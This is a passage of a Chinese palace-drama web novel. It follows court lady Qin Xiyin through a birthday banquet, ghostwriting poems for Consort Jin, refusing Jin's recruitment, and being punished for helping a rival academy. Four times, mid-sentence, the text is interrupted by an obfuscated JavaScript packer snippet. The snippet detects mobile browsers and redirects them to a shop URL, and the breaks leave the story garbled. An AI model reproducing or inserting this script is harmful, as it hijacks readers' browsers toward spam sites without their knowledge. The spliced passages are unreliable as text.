到了吃晚饭的时间,秦惜音正准备去拿晚饭,却见金萝捧着晚饭进来了,说道:“惜音姐姐,我给你把饭拿进来了,你不用出去拿了。” 秦惜音笑道:“多谢。” 她虽然脸上笑着,内心却觉得金萝有点烦。 也许对某些人来说,有人巴结是一种享受。 但秦惜音是一个简单的人,也希望身边的人简单一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751613|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不要带有明显的目的。 但是,人只能控制自己,控制不了其他人的言行。 当你有了一定的地位和资源后,难免会遇到巴结你的人。 对此,秦惜音倒也习惯了。以前她是相府千金的时候,巴结她的人更多。 秦惜音正好有些饿了,就吃了起来。 没想到,金萝没走,就坐在一边看着秦惜音吃。 秦惜音有些尴尬,说道:“金萝,你也去吃饭吧。” “惜音姐姐,我等你吃完了,帮你收了碗筷,我自己再吃。” “不用这样的,你去吧。” “不,我还是留在这儿吧,也耽误不了多少时间。” 秦惜音也就不再说了,只能加快了吃饭的速度,这样可以快点摆脱金萝。 没想到,金萝小声说道:“惜音姐姐,今天有几个女史犯了点小错误,就被连掌籍责骂了。我觉得她太凶了,你能不能管管她?” 秦惜音心里“咯噔”一下,有些不悦。 她不动声色地说道:“金萝,你做好自己该做的事就行了。连掌籍是长官,就算凶一点,也是为了教导你们。还有,以后别越级上告了。” “我……我不是越级上告,只是闲聊……” “我有点累,不太想聊天。金萝,你看会书吧。” “哦……” 秦惜音都这么说了,金萝也没法继续说话,就捧着一本书看。 不过,她似乎不太爱看书,看一会就东张西望的。 秦惜音吃完了饭,自己把碗筷端了出去。金萝赶紧跟上,想帮秦惜音的忙,秦惜音没给她这个机会。 路上,她们遇到了连云。 连云有些生气地看了金萝一眼,说道:“金萝,我让你找几本跟首饰有关的书,你找到哪里去了?” 金萝小声道:“我……我这就去找……刚才在吃饭来着……” “吃饭?我看你的饭一口都没动啊?往长官屋子里倒是跑得很积极。你那点小心思,以为我不知道吗?你以后别去烦秦典籍了,她最近很忙。” “哦……我知道了……” 金萝低着头跑了。 秦惜音跟连云说了一些工作上的事,也各自散了。 晚上,秦惜音写字写得有些累了,趴在桌上休息。 过了一会,忽然有人敲门。 秦惜音开了门,发现来的是司乐司的女官林锦屏。 林锦屏是六品司乐,比秦惜音高一级。但两人不是同一个部门的,所以平时也很少见到。 之前秦惜音跟林锦屏也打过交道,林锦屏之前卷入了画师荀白鹤被杀一案,是秦惜音查清了真相,还了林锦屏清白。 秦惜音笑着问道:“林司乐,这么晚了有事吗?” 林锦屏走了进来,关上房门,说道:“过几天是杨昭仪的生日,瑾妃娘娘打算为杨昭仪办一场生日宴,邀请皇上和所有后宫妃嫔出席。到时候,不止要呈上丰富的膳食,也要有音乐伴奏。 但是,司乐司的人手不够,而你之前考试的时候,我发现你对乐理也很有研究,不比司乐司的女官们差。 不知你是否愿意来帮忙奏乐?” 87. 宫宴风波 秦惜音惊讶道:“林司乐太抬举我了……不知要演奏什么乐曲?” “一共要演奏十几种曲子,我打算和你共同演奏《桃夭》《鹿鸣》《硕人》三首曲子。别的曲子有别的女官演奏。我记得,这三首曲子是你擅长的,不需要准备太久。” “可是,我这个月有点忙……” “再忙,弹几首曲子的时间应该有的。你就当休息了吧。而且,在这种事盛大的宴会上演奏,也是有工钱的。如果演奏得好,说不定皇上和娘娘们还有额外的赏钱呢。” 秦惜音考虑了一下,觉得自己应该能抽出时间演奏几首曲子,还能顺便在宫宴上见一见曲南蕊。 因此,她便答应了下来。 林锦屏笑道:“那可太好了。这几天,我有空时会把乐器拿来,跟你一起排练。” “好,下官随时恭候。” 第二天,林锦屏便带了乐器来,跟秦惜音一起练习几首曲子。 这些曲子都由来已久,秦惜音小时候便会弹奏,不需要临时学习。 而林锦屏也很熟悉这些乐曲,所以她们合奏起来,很快就如行云流水一般流畅。 才练了一个多时辰,林锦屏便说道:“我看,已经练得差不多了,过几日便可直接演奏。你先忙,我就不耽误你时间了。” “嗯。” 几天后,便是杨昭仪的生辰。 生日宴设在瑾妃的比翼宫。由于天气比较好,便在露天举行。 瑾妃把生日宴操办得很豪华,皇帝很满意,赞不绝口。 杨昭仪虽然跟瑾妃有些面和心不和,但在这样的场合,也笑着称赞道:“妾身的生日,劳烦瑾妃姐姐费心,妾身实在于心不安。” 瑾妃握着杨昭仪的手,笑着说道:“妹妹说这话可就见外了,你我一向亲如姐妹,妹妹的华诞,我这做姐姐的自然要好好操办。一会你若是有什么不满意的,直接说就是。” “有劳姐姐了。” 皇帝坐在主位,杨昭仪和瑾妃一左一右,坐在皇帝身侧。 两边的座位上坐着二十余位妃嫔。 秦惜音看到了自己熟悉的曲南蕊、莫寒星、银镜(袁采女)等人。 莫寒星旁边坐着一位眼神灵动、瓜子脸、手捧书卷的妃嫔,应该就是谦才人了。 谦才人喜欢读书,走到哪都带着书,这已经成了她的标志了。 秦惜音跟着司乐司的人站在一边,一会宴席正式开始后,她们便会上场演奏。 秦惜音的目光跟莫寒星、曲南蕊接触时,她们两人都朝秦惜音点了点头,表示看见秦惜音了。 莫寒星若有所思,似乎在盘算着什么;而曲南蕊面色苍白,神情不悦,只有在看见秦惜音时,眼中才有一丝笑意。 秦惜音觉得,曲南蕊这段时间应该过得不太好。一会散场后如果有机会,就找曲南蕊说说话。 没过多久,宴席正式开始。 瑾妃笑着对皇帝说道:“皇上,司乐司的人准备了许多曲目,请皇上鉴赏。” 皇帝笑道:“现在开始演奏和上菜吧。” 于是,尚食局的宫人们把菜端上去,而秦惜音跟着林锦屏走到了宴席中央,演奏曲子。 林锦屏是司乐司的最高长官,所以是她先演奏。 秦惜音深呼吸了几口气,平复紧张的心情,按照之前练习的那样,流畅地弹奏曲子。 第一首曲子是《桃夭》,由秦惜音抚琴,林锦屏鼓瑟,还有一位司乐司的女史伴唱,一起奏出和谐的乐章。 一曲奏罢,皇帝和众妃嫔都露出满意的神情。 秦惜音增加了一些信心,接着把剩下的两首曲子演奏完。 演奏完毕后,皇帝说道:“这几首曲子演奏得不错,有赏。” 秦惜音和林锦屏赶紧谢恩,领了赏赐后,退到一边。 接下来就轮到其他司乐司的人上场了,秦惜音没什么事了。 不过,她不能提前离席,还是要等到宴席结束才行。 这时,莫寒星忽然站了起来,对皇帝说道:“皇上,刚才两位女官演奏的曲子非常动听,宛如天籁,嫔妾心有所感,想当场作诗一首。只是,嫔妾一人作诗,有些无趣,不如请瑾妃娘娘和谦才人一起作诗,皇上看看谁写的好,如何?” 皇帝笑道:“莫御,女,难得你有此雅兴,朕就准你所请。说起来,后宫当中只有你、谦才人和瑾妃会作诗,但你们三人还从来没有同时作过诗。今日,你们就即兴发挥,看看谁的水平最高。” 谦才人来了兴致,起身道:“嫔妾遵命。” 瑾妃却面色一变,说道:“皇上,今日是杨昭仪的生日宴,嫔妾就不喧宾夺主了。还是看看嫔妾为杨昭仪编排的歌舞吧。” 皇帝说道:“哎,这不算喧宾夺主,反而是让这场生日宴更加热闹。爱妃,你的诗写得很好,就别推辞了。来人,给瑾妃、谦才人和莫御.女各上一份纸笔。” 宫人们立刻去准备。 秦惜音注意到,莫寒星眼中闪过一丝兴奋的光芒。 而秦惜音却有些担心。如果瑾妃真的当众暴露了不会写诗的事,会发生什么? 皇帝应该不会因为这种小事,就责罚瑾妃。但是,莫寒星很可能会遭到瑾妃的报复。 但是,秦惜音也做不了什么。 这时,宫人们把纸笔都上齐了,谦才人和莫寒星立刻提笔写诗。 瑾妃紧紧地握着毛笔,似乎出了冷汗。 过了会,她对皇帝笑道:“皇上,其实有一件事,嫔妾没有告诉您。嫔妾虽然会写诗,但需要琢磨许久,不能立马写就。嫔妾的才华不如莫御.女和谦才人,请您容许嫔妾思索一段时间,再呈交诗词。” 皇帝笑道:“原来如此,这也不是什么大事。怪不得你最近的诗写得越来越好了,原来是长时间推敲的结果。这种事也确实不用急,只要能写出好诗,多花点时间有什么关系?” 瑾妃松了一口气,道:“谢皇上。等生日宴结束后,嫔妾会尽快把试作呈上。” 说着,瑾妃状似无意地瞥了一眼秦惜音。 秦惜音知道,自己又要代笔了。 而莫寒星有些不甘地朝瑾妃的方向看,又不敢看太久,只能默默低头,写自己的诗。 只有谦才人什么都不知道,乐呵呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751614|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地构思着自己的诗词,很快就写好了。 她写了三首,先给皇帝看了,得到皇帝的称赞。 过了一会,莫寒星也写好了一首,呈交给皇帝。 皇帝笑道:“莫御.女,你写的诗虽然也不错,但比起谦才人,还是差了一些。你跟谦才人同住,可以早晚请教。” 莫寒星道:“是,嫔妾会向谦才人学习。” 瑾妃有些不屑地看了莫寒星一眼,随即吃起了菜。 这场风波,就这样过去了。 莫寒星回到了自己的座位上,而谦才人把自己的诗词给秦惜音和林锦屏看,笑道:“这几首诗,是为你们刚才的演奏而写,你们看看喜不喜欢?” 秦惜音看了一眼,觉得写得很好,便笑道:“多谢谦才人,您写得很好,把刚才我们弹奏的场景描绘得活灵活现。” 林锦屏笑道:“奴婢不太懂诗,娘娘所作,想必都是好的。” 谦才人十分高兴:“你们喜欢就太好了,以后有空,可以来本宫这里演奏乐曲,本宫很喜欢你们的音乐。” 秦惜音道:“奴婢是司籍司的,可能不能经常奏乐。林女官是司乐司的,有空应该能来。” 谦才人有些佩服地看着秦惜音:“原来你不是乐官,却能演奏出如此动听的曲子,真是多才多艺。总之以后没事,可以多来本宫这里走走。” “是。” 说完,谦才人也回到了自己的座位上。 宴席继续,众妃嫔都对杨昭仪说了一些祝贺生日的话。 曲南蕊也心不在焉地站了起来,对杨昭仪举杯道:“妾身祝杨昭仪与山川同寿,与日月同辉。” 这时,好几个妃嫔都惊讶地看着曲南蕊,而曲南蕊不知道哪里出问题了,也愣在当场。 秦惜音察觉到了不对劲。因为妃嫔们都是按照位份高低轮流给杨昭仪祝福的。有几个五品、六品的妃嫔还没起来,曲南蕊这个八品采女倒是起来了,乱了次序。 这件事可大可小,如果皇帝不计较还好说,就怕有人借题发挥,那曲南蕊很可能会受到惩罚。 这时,银镜仗着这段时间受宠,率先开口道:“曲采女,你可是喝醉了?好几位高位妃嫔还没送上祝福,你倒先起来了。莫非,你没把其他妃嫔放在眼里?” 此话一出,有好几位妃嫔变了脸色。 曲南蕊赶紧解释道:“不是这样的……我是看旁边的人站了起来,我也站起来了……我没注意还有谁没起来……” 银镜接着说道:“这么说,你的心思没在宴会上?今日是杨昭仪的好日子,瑾妃娘娘体恤众姐妹平日很少见到皇上,才让所有妃嫔一同参与。你这样冒冒失失的,岂不是辜负了瑾妃娘娘的一片心意,也一点不在乎杨昭仪的生日?” 这时,瑾妃和杨昭仪面色也开始不好看了。 秦惜音听得暗暗摇头。没想到这银镜虽是宫女出身,却是搞事情的一把好手。 也不知道曲南蕊该如何应对,能不能渡过这一关。 曲南蕊却皱眉对银镜说道:“你是谁啊,为什么一直针对我?我分明是无心之失,被你说得好像罪大恶极似的……” 88. 瑾妃招揽 银镜脸上有些挂不住,随即微笑道:“我是皇上新封的袁采女,今日跟姐姐第一次相见,所以姐姐没认出我。” 曲南蕊道:“既然是第一次见面,我也没得罪你吧,你为什么要胡说八道陷害我?” “姐姐误会了,我只是觉得姐姐的行为有些不妥,所以才出言提醒。” “提醒不是你这样的,你分明是把我架在火上烤……” 这时,皇帝开口了:“曲采女,你先坐下吧。” 曲南蕊不情不愿地答应了一声,然后坐下。不过,她明显心情不好,坐下之后也是气呼呼的。 接下来,其他妃嫔继续恭贺杨昭仪生日,银镜还把自己亲手绣的荷包送给了杨昭仪,皇帝夸了银镜两句。 曲南蕊皱着眉,有些不忿。 这时,杨昭仪注意到了曲南蕊的表情,笑着说道:“曲妹妹可是累了?看着脸色不太好。” 曲南蕊起身回话:“没有,妾身不累。” 但是,皇帝看曲南蕊板着脸的样子,觉得有些扫兴,便说道:“曲采女,朕也觉得你累了,不如你先回宫歇着吧。” “是。” 曲南蕊也没解释什么,直接走了。 一旁的秦惜音看着这一幕,暗暗担心。 接下来的宴会,又是一片欢声笑语。大家推杯换盏,欣赏歌舞,仿佛刚才的插曲没发生过。 杨昭仪、瑾妃言笑晏晏,哄着皇帝,皇帝龙颜大悦。 剩下的妃嫔们也都使劲浑身解数,吸引皇帝的注意,同时还要注意不引起瑾妃、杨昭仪的忌惮。 一个时辰后,宫宴结束,皇帝回御书房批奏折,妃嫔们也各自散去。 秦惜音正准备偷偷溜走,去看曲南蕊,谁知瑾妃身边的丫环叫住了她,说道:“秦典籍,我们娘娘有请。” 秦惜音只得来到瑾妃的房间。 跟往常一样,瑾妃要求秦惜音帮自己写几首诗。刚才在宴会上,瑾妃对皇帝说,自己写诗比较慢,需要一些时间琢磨。 虽然宴席已经散了,但这诗是必须写出来的,否则就露馅了。 瑾妃道:“刚才,皇上让本宫根据你们演奏的曲子来写诗,你亲自来写,想必会写得贴切些。” “是。” 秦惜音回忆着自己刚才演奏时的场景,很快就写好了两首诗。 瑾妃看了之后,满意地点头:“不错,你的水平还是一如既往的稳定。不过,你有没有办法超越谦才人?” “谦才人在诗词一道独树一帜,天赋异禀,奴婢略有不及,也不是短时间内能超越的。但奴婢会继续努力钻研诗词,争取有一天写得比谦才人更好。” 瑾妃拍了拍秦惜音的肩膀:“很好,你果真是个可用之人。继续努力,本宫不会亏待你的。” 说着,瑾妃就拿来一只金钗,送给秦惜音。 秦惜音收下后,向瑾妃道了谢,然后离开。 她一路小跑,来到曲南蕊这里。 曲南蕊在房中发呆,而且面色不豫。 秦惜音道:“娘娘,最近是不是心情不好?” 曲南蕊道:“我的心情已经很久没有好过了。惜音,你还在宫里,是我唯一的盼头了。如果没有你,我真的不知道这个皇宫还有什么值得我留恋的。” “娘娘,后宫妃嫔众多,您见到皇上的机会本来就很少,要学着自己调节心情。否则,每次见到皇上,您总是冷着一张脸,皇上也会不喜的。” “我对他已经没有期待了……好几次他翻了我的牌子,但都临时被其他妃嫔叫走,后面他也没有派人来解释一句。既然他做得这么绝,我也不必上赶着巴结他。” “这怎么行呢?他是皇上,你不巴结他,在后宫中很难生存的。” “皇帝不是更该一言九鼎吗?他说了来我这儿,怎么可以去其他人那里?” “皇上只在有必要的时候守信。至于去哪个妃嫔宫里,这对他来说是微不足道的小事,他随时可以转变念头。” “可是,我见了他,真的笑不出来。以前,我一见到他就会笑,是因为我真心喜欢他,想见到他……但现在,不一样了……” “您可以假笑,就像其他妃嫔那样。” “其他妃嫔是在假笑吗?那她们够厉害的,可以一直装下去。” “每个妃嫔情况不一样,我觉得对大部分妃嫔来说,都是半真半假吧。你想跟皇帝谈感情,皇帝注定给不了你想要的真心。哪怕你受了委屈,或者心里对他有怨言,都不能表现出来。” “那什么时候才能表现出来?” “什么时候都不可以。” “这对我公平吗?” “不公平。但是,当你成为妃嫔的那一刻,公平就不存在了。你要想的是怎样爬得更高。你的地位越高,活下去的概率就越大。” “违背本心,讨好皇帝,只是为了增加活下去的概率吗?” “一开始,确实是这么残酷。但是到了后面,如果你有了子女,就可以为自己的子女谋划前程,得到的也会更多。” 曲南蕊摇头道:“我想不了那么久远的事……我现在有些后悔进宫了。如果我随便找个贵族子弟嫁了,现在的生活都会好很多。” “娘娘,这世上是没有后悔药的。您的前途要靠自己争取。” “那你教我该怎么做……我真的伪装不了,现在的日子对我来说是煎熬……” “您可以伪装。既然别的妃嫔能做到,您怎么就做不到?您又不比别人缺少什么。难道您觉得,杨昭仪、瑾妃她们,都是因为真心爱皇上,才对着皇上有说有笑的吗?” “我……我明白你的意思,但我觉得我没有那个心力去谋划前程……” “前程是一个很宏大的概念,但也是一步一步走出来的。眼下,奴婢有一个办法,或许可以帮您……” 秦惜音在曲南蕊耳边说了几句话。 曲南蕊道:“你的方法很好,但我怕我装不像……我怕演砸了。” “那就多演练几遍,演到没破绽为止。娘娘,您必须上进,必须有所成长,不能继续迷茫下去了。” 曲南蕊有些不确定地点了点头。 “娘娘,奴婢最近很忙,可能很多天不能来看您了。总之,您自己保重。” “你在忙什么?” “我要注解一批古籍,也要把几本陈旧的书重新抄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751615|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写一遍。” “我突然有点羡慕你,每天都有事情做……” “娘娘,您可以自己找点事做,比如看看书,绣绣花。” “嗯。” 秦惜音回房之后,继续忙碌。 没想到,夜深人静的时候,林锦屏再次拜访。 秦惜音问道:“林司乐,您还有事?” 林锦屏笑道:“惜音,今日跟你合作,我发现你各方面都挺优秀的。像你这样的人才,不该止步于七品典籍。不过,你们司籍司的两名六品司籍,看起来都不像是短时间内会辞官的样子。 说不定,她们还会在司籍的位置上待很久。你有没有想过自己以后的发展?” 秦惜音没想到,林锦屏会提起这个话题。她回答道:“我现在刚当上典籍,还没想过那么长远的事。我觉得自己还要在典籍的位置上多锻炼几年,等司籍的位置空出来了,我自然就有机会晋升了。” “可是,你知道你要等多久吗?一年?两年?还是十年八年?只要沈司籍、贺司籍两人不让位,你就要一直等下去。 你如果把眼光放开阔些,就会知道,司籍司不是你唯一的晋升渠道。” 秦惜音问道:“林司乐的意思是?” “我们司乐司的女官名额一向不满,现如今,六品司乐只有我一人,还缺一人。如果你愿意,我可以在尚仪大人面前保举你成为六品司乐。到时候,你就跟我一样了。你甚至不需要参加晋升考试。” 秦惜音愣了片刻,说道:“我猜,这是有条件的吧?” “也说不上什么条件不条件的,如果我们是自己人,那互相帮助是应该的。我受瑾妃娘娘提携,才有今日。妹妹如果愿意忠于瑾妃娘娘,那自然就是自己人了。” 秦惜音听明白了。林锦屏是来给瑾妃做说客的。 投靠瑾妃,就可以升为六品司乐。 否则,就只能在司籍司慢慢熬,不知道要熬到猴年马月。 秦惜音笑道:“我是宫中的女官,自然是忠于瑾妃娘娘的。当然,也忠于皇上、太后、其他妃嫔。各位主子们有什么吩咐,只要是在合理范围内,我都义不容辞。但是,如果只忠于一人,我怕是做不到。” “惜音,你是个人才,瑾妃娘娘很赏识你,才派我来劝说的。其实,你效忠瑾妃娘娘,也不需要做很多事。瑾妃娘娘会保证每一件事都在你的能力范围内,而且你有很多休息时间,不像在司籍司这么辛苦。 而且,你现在不也在为瑾妃娘娘做事吗?以后,不过是多做一些罢了。” “您指的是……” “自然是为瑾妃娘娘写诗一事。” 秦惜音心下了然。没想到瑾妃连这件事都跟林锦屏说,看来林锦屏果然是瑾妃的心腹。 秦惜音道:“瑾妃娘娘德被六宫,对我们这些女官也多加照顾。因此我给瑾妃娘娘写诗,不过是报答瑾妃娘娘一二,并不代表从此效忠瑾妃娘娘。 我自问才疏学浅,没法为瑾妃娘娘分忧,今日怕是要让林司乐白跑一趟了。 还请转告瑾妃娘娘,若是瑾妃娘娘要看什么书,或是想要更多的诗词,我一定会帮忙。但其他事,恐怕不行。” 89. 格局很大 林锦屏沉思片刻,笑道:“既然这样,我就不打扰妹妹了。不过,我今天说的话一直有效,如果妹妹你改变主意,随时来跟我说。” “好的。” 林锦屏走后,秦惜音有些心烦意乱。 她当然不可能效忠瑾妃,但今日的拒绝,会不会给自己带来危机? 瑾妃会对她下手吗? 暂时应该不会,因为瑾妃还需要秦惜音帮忙写诗。 但是,万一瑾妃找到另一个写诗更好的人,不再需要秦惜音了呢? 秦惜音喃喃自语:“只要我不危害到瑾妃的利益,她应该不会把我怎么样吧……我现在都毁容了,也没有被皇上看上的可能。她是妃嫔,我是女官,井水不犯河水……” 虽然未来充满了不确定,秦惜音还是决定往好处想。 瑾妃虽然有心计,但也不是那种经常杀人的人。自己应该没太大危险,还是先做好手头上的事吧。 如果能把这几本古籍翻译好,被皇帝选中的话,秦惜音就立了大功,在司籍司的地位也会水涨船高。 不过,要胜过弘文馆和集贤殿书院的学士们,恐怕还需要付出更多的心力。 论才华,秦惜音自问比不过那些学士。因为秦惜音读书是出于兴趣,虽然也花了较多时间学习,但绝没有那些自小就备考科举的男人学的时间长。 但是,不代表她就没有胜算。 就像一个绣娘会绣一百种花,另一个绣娘只会绣牡丹花。如果让两个绣娘同时绣牡丹花,第二个绣娘未必会输。 这些天,秦惜音也遇到一些疑难的句子,需要从一些生僻的书里寻找原句,才能理解其意思。 但是,司籍司的藏书有限,贺司籍给她的几本生僻古籍里也没有她要找的内容。 秦惜音觉得,自己有空得去弘文馆或者集贤殿书院看看。 但是,她不确定这两个部门的学士会不会让她翻阅文献,毕竟存在着竞争关系。 第二天,秦惜音先来到了弘文馆。 这里的学士们都在忙碌,秦惜音找到了一个看着比较文弱、好说话的学士,问道:“请问,你们这里的书籍可以借我翻阅一下吗?我是司籍司的女官。” 这学士抬头,看见秦惜音,有些惊讶,问道:“你真是女官?” “是啊,你看我穿的这身官服,还能有假?” “哦……司籍司的……你们那儿不是也有书吗?” “没有我想要的书。” “你想看哪本?” “《四野集》、《道统论》、《曹家兵略》……” 秦惜音一连报了好几本古籍的名字,这学士说道:“你要的这些书,都很生僻啊,平时也用不到……难道,你就是司籍司负责翻译古籍的人?” “是的,有一些知识点,我必须借阅这几本书才能得到解答,还请通融一下。” “不行,其他书可以借你,但这几本不行。” “我可以付费观看的……” “不是付费的事……现在你们司籍司和我们弘文馆,还有集贤殿书院,都领到了同一份差事,谁干得好,才能得到圣上的嘉奖。那我肯定不能帮你,还请见谅。如果不是为了这份差事,其他时间你来借阅古籍,可以随便看。” 秦惜音也知道他有他的难处,因此就不再说了,打算去集贤殿书院问问。 谁知,秦惜音刚转身,这学士就说道:“你是不是准备去集贤殿书院?我劝你别白费功夫了,这几本书,他们那边也没有。昨天,集贤殿书院的人也来弘文馆借阅这几本,我们也没借。” 秦惜音陷入两难,说道:“要不这样,你来提条件,只要我能做到的,我一定答应。我今天一定要借阅这几本书。” “抱歉,无论什么条件都不行,这事关弘文馆的荣誉。” 这时,有一个年长的、留着山羊胡的学士走了过来,问道:“冯无思,你在干什么呢?怎么不好好翻译古籍,却在这里跟人说话?” 这年轻学士说道:“是司籍司的女官来找我,说想借阅《四野集》、《道统论》等书籍,我没借,她还想说服我呢。” 这年长学士直接走到秦惜音面前,严肃地说道:“这位女官,很抱歉,弘文馆这一个月都不对司籍司开放。一个月后,你如果想看书,可以随便看。” 秦惜音看了这年长学士一眼,道:“这位学士,我看您的衣服有些旧了,不如我给您做几身新衣服?我的针线也很好的。” “不行,我不要你的新衣服。而且,无论你给我什么,我都不会接受。” “……” 事已至此,秦惜音也只好离开。 但是,在离开之前,她突然瞥见那个年轻学士的书籍,发现有一处错误,那年轻学士没注意到。 秦惜音想着要不要出言提醒,犹豫再三,还是说道:“这位冯学士,有一件事我想告诉你……” 这个年轻学士叫冯无思,刚才这年老学士这么叫他,秦惜音也记住了。 冯无思道:“什么事?” 秦惜音指着古籍上的一个词,说道:“这两个字错了,书上写的是‘敲锵’,正确的词应该是‘敲铿’。你在翻译的时候,需要指出这个错误,再进行翻译。” 冯无思还在思考,那年老学士直接说道:“这几本古籍是圣上所赐,有上百年的历史了,怎会有误?圣上只叫我等翻译这几本古籍,没说可以改动古籍里的字。这位女官,你不要误导我们。” 秦惜音耐心解释:“我并非要误导你们。任何书都是人写出来的,只要是人,就不可能不犯错。‘敲锵’二字确实有误,正确用法是‘敲铿’。 ‘敲铿’的意思是敲击,模拟啄木鸟啄木头的声音。苏轼有诗云‘千杖敲铿羯鼓催’,孟郊亦有‘树啄头敲铿’之句。 不信的话,你们翻阅这两位诗人的诗集,就能找到。 由于‘铿锵’二字经常连用,且字形、读音都相近,所以写错也是正常的。尤其是‘敲铿’这种词非常冷僻,如果不是熟知其含义,在写的时候,就容易写成‘敲锵’,而且一般人发现不了。” 听秦惜音说得有理有据,这年老学士也不禁产生怀疑。 冯无思已经顺手从书架上拿来一本《苏轼诗文集》,走马观花地翻了翻,果然看见里面有“千杖敲铿羯鼓催”之句,跟秦惜音说的一样。 所以,秦惜音的说法才是正确的。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751616|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位学士都很惊讶。 冯无思道:“这位女官,你为什么要提醒我?” 秦惜音道:“我觉得,你们弘文馆的参考书比较多,最后可能是你们翻译得最好,那皇上很可能选择你们翻译的版本进行推广。 如果是这样的话,我觉得,推广的版本还是尽量不要有错误比较好,这样才能让大众获得正确的知识。 如果我为了赢过你们,不把自己发现的错误告诉你们,最终害的是所有看到这些书的人。我觉得,这是不可取的。” 两位学士都非常惊讶,同时露出了惭愧、敬佩的表情。 那位年长学士道:“姑娘见识宏大,一心为公,反倒衬得我等狭隘了。以后,无论姑娘要借阅什么书,都可以随时来看。有什么需要帮助的,也直接告诉我们就好。” 冯无思已经直接把秦惜音要的参考书找了出来,交给了她,说道:“这位女官,这几本就是你要的书,你可以先拿回去看,用完了再还回来。” 秦惜音惊喜道:“谢谢……” “不,是我们该感谢您才对。枉我读了这么多年的书,竟然没发现古籍中的错误,反而要姑娘提醒,实在惭愧。姑娘学识渊博,实在令我等须眉男子汗颜。” 秦惜音笑道:“您言重了,我也只是恰好知道‘敲铿’这个词而已,还有很多知识是我不了解的。以后,还请诸位多多指教。” “不敢,大家互相学习。” 秦惜音又跟他们客套了几句,就回了房间,翻阅这几本书籍。 她有困惑的地方,基本上都在这几本书里找到了答案。 于是,先前翻译不了的句子,现在都能翻译了。而且,秦惜音还会加一些独到的见解。 总算解决了一个难题,秦惜音心情大好,稍微休息了一下。 可是,过了一会,有个女史过来找秦惜音,说是贺司籍找她。 秦惜音赶紧去贺司籍的屋子。她觉得,贺司籍找自己,肯定没好事。但是,她又不能不去,心里有些忐忑。 来到贺司籍的屋子后,贺司籍冷着脸问她:“惜音,你刚才做了什么?” “属下……在翻译古籍。” “你刚才去了弘文馆吧?” “是,属下去弘文馆借几本参考书。” “弘文馆的人怎么肯借给你呢?” “是因为属下诚心恳求,所以……” 贺司籍一拍桌子,怒道:“你说谎!分明是你偷偷指点了弘文馆的学士,教他们辨认古籍中的错误,他们才把书借给你的。你还不承认?” 秦惜音有些惊讶,不知道贺司籍为什么会知道这件事。 不过当时,她指出古籍中的错误时,弘文馆内确实有好多人。也许,其中有人跟贺司籍交好,偷偷把这事告诉她。 秦惜音有些不能理解,那个告密者是想干什么? 自己又没得罪他。 而且,她好心把古籍中的错误告诉了弘文馆的学士,这对弘文馆所有人来说都是好事。 可偏偏有人无风起浪,非要给秦惜音找不痛快。 她不理解。这样做是有什么好处吗?纯纯是损人不利己的行为。总而言之,还是吃得太饱了。 90. 东施效颦 如果让她知道那个告密者是谁的话,她非要揪出来,关他个三天三夜,不给吃的。 秦惜音只得回答道:“贺司籍,我指导弘文馆的学士,也是想跟他们搞好关系,这样才能借到弘文馆的书籍。” 贺司籍怒道:“你简直本末倒置!你看到他们犯了错误,就该隐瞒才是,怎么还告诉他们呢?司籍司现在跟弘文馆有竞争关系,你此举是对司籍司的背叛!” 秦惜音赶紧说道:“属下只是给他们指明了其中一个错误而已,对整体的结果没有太大的影响。而且,属下借到了弘文馆的一些参考书,这对属下的工作有更大的帮助。总的来看,还是属下赚了。” “巧言令色,看来你丝毫不知悔改。本官罚你抄写《女官守则》一百遍,就跪在这里抄。” “大人,属下现在身兼数职,时间本就不够用,如果再抄写《女官守则》,会耽误正事的……” “哼,胡说八道。你写字不是很快吗?写《女官守则》百遍,对你来说也很轻松吧?” “……” 秦惜音没法反抗,只能跪着抄写《女官守则》。 抄完一遍后,她就很累了。 这时,黄典籍从窗外走过,秦惜音故意打了个喷嚏,引起了黄典籍的注意。 黄典籍隔着窗子,看见秦惜音跪在地上,抄写着什么,非常惊讶地看了她一眼。 